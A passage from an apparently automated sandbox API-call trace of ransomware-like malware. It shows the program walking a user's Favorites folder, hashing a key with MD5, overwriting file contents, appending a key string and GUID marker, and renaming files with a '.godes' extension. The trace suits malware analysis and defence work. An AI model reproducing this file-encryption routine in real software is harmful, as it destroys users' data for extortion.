hHeap=0x660000) returned 1 [0114.063] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.063] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.063] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.063] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.063] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.063] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.063] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.063] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.063] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.063] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.063] CloseHandle (hObject=0x624) returned 1 [0114.064] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0114.064] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0114.064] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0114.064] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.godes")) returned 1 [0114.065] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.065] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.066] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0114.066] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1 [0114.066] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.066] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0114.066] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.066] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url") returned=".url" [0114.066] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.067] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=133) returned 1 [0114.067] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.068] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.068] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.069] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.069] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.069] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.069] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0x85, lpOverlapped=0x0) returned 1 [0114.069] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.069] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.069] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.069] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.069] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.070] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.070] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.070] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.070] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.070] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.070] GetLastError () returned 0x0 [0114.070] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.070] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.070] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.070] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0114.071] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.071] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.071] WriteFile (in: hFile=0x624, lpBuffer=0x31e3c08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x31e3c08*, lpNumberOfBytesWritten=0x3b2fb24*=0x80, lpOverlapped=0x0) returned 1 [0114.071] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0114.071] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.071] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.071] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.071] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.071] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.071] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.071] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.071] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.071] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.071] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.071] CloseHandle (hObject=0x624) returned 1 [0114.072] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0114.072] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0114.072] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0114.072] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.godes")) returned 1 [0114.072] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.072] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.073] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32064b0 | out: hHeap=0x660000) returned 1 [0114.073] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0 [0114.073] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0114.073] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c568 | out: hHeap=0x660000) returned 1 [0114.073] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f4f8 | out: hHeap=0x660000) returned 1 [0114.073] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0114.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f4f8 [0114.074] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0114.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.074] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.074] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.075] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.075] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.076] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.076] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0114.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.077] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.077] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.078] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.078] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.078] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 